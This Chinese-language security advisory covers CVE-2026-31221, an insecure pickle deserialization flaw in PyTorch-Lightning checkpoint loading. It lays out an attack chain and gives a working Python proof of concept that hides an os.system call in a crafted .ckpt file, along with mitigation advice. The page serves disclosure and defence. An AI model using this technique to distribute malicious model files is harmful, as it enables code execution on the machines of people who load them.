IPBUF安全漏洞报告
English
CVE-2026-31221 CVSS 7.8 高危

CVE-2026-31221 PyTorch-Lightning 代码执行漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-31221
漏洞类型
不安全的反序列化
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
PyTorch-Lightning

相关标签

不安全的反序列化任意代码执行PyTorch-LightningCWE-502机器学习安全

漏洞概述

PyTorch-Lightning 2.6.0及更早版本中存在不安全的反序列化漏洞(CWE-502)。该漏洞位于模型检查点加载机制中,具体涉及`LightningModule.load_from_checkpoint()`方法。该方法在内部调用`torch.load()`时未设置安全限制参数`weights_only=True`,导致默认允许通过Pickle模块反序列化任意Python对象。远程攻击者可通过诱导用户加载恶意构造的检查点文件来利用此漏洞,从而在受害者系统上执行任意代码。

技术细节

该漏洞源于PyTorch-Lightning框架在实现模型检查点加载功能时未遵循最小权限原则。具体而言,`LightningModule.load_from_checkpoint`方法在底层调用了PyTorch的`torch.load`函数。在PyTorch中,`torch.load`默认使用Python的`pickle`模块进行对象序列化与反序列化。Pickle机制已知是不安全的,因为它在反序列化数据时会自动执行对象中定义的`__reduce__`方法。攻击者可以构造一个包含恶意Python类(例如在`__reduce__`中定义执行系统命令的代码)的`.ckpt`文件。当受害者在受影响版本的PyTorch-Lightning环境中调用`load_from_checkpoint`加载此文件时,由于未启用`weights_only=True`限制,恶意代码会被解析并立即执行。尽管CVSS向量将攻击向量标记为本地(AV:L),但该漏洞常被利用于供应链攻击或社会工程学攻击,诱导用户下载并加载恶意的机器学习模型文件,从而在用户机器上实现远程代码执行的效果。

攻击链分析

STEP 1
构造恶意Payload
攻击者编写包含恶意代码(如反弹Shell或文件写入)的Python类,利用Pickle的__reduce__方法,并将其封装进一个格式合法的.ckpt模型检查点文件中。
STEP 2
投递恶意文件
攻击者将生成的恶意检查点文件伪装成预训练模型,通过GitHub仓库、邮件附件、论坛分享或供应链污染等方式分发给目标用户。
STEP 3
诱导加载文件
攻击者利用社会工程学手段诱导受害者使用存在漏洞的PyTorch-Lightning版本(<=2.6.0)运行代码,加载该恶意检查点文件。
STEP 4
触发反序列化
当受害者调用`LightningModule.load_from_checkpoint()`时,底层`torch.load()`反序列化恶意数据,自动执行攻击者预设的代码,导致系统被入侵。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import torch # Define a malicious class to execute arbitrary code class MaliciousPayload: def __reduce__(self): # The command to execute (e.g., creating a file or reverse shell) # In a real scenario, this could be a more sophisticated payload return (os.system, ('echo PWNED > /tmp/poc.txt',)) # Create a valid PyTorch Lightning checkpoint structure # containing the malicious object payload = MaliciousPayload() checkpoint_data = { 'state_dict': {'model': payload}, # Injecting payload into state dict 'epoch': 1, 'global_step': 100 } # Save the crafted checkpoint file print("[*] Generating malicious checkpoint file...") torch.save(checkpoint_data, "malicious_checkpoint.ckpt") print("[+] Malicious checkpoint created: malicious_checkpoint.ckpt") # --- VICTIM SIDE (Vulnerable Code) --- # The following code demonstrates the vulnerability: # # import pytorch_lightning as pl # # class DummyModel(pl.LightningModule): # def __init__(self): # super().__init__() # # # Loading the malicious file triggers the exploit # # This calls torch.load internally without weights_only=True # model = DummyModel.load_from_checkpoint("malicious_checkpoint.ckpt") # # Result: The command 'echo PWNED > /tmp/poc.txt' will be executed.

影响范围

PyTorch-Lightning <= 2.6.0

防御指南

临时缓解措施
建议用户立即将PyTorch-Lightning框架升级到官方发布的修复版本。在无法立即升级的情况下,开发者应审查代码,避免直接使用`load_from_checkpoint`加载来源不明的文件,或者修改库源码在底层调用`torch.load`时强制传入`weights_only=True`参数。此外,应在隔离的沙箱环境中处理不可信的模型文件,以限制潜在代码执行的权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表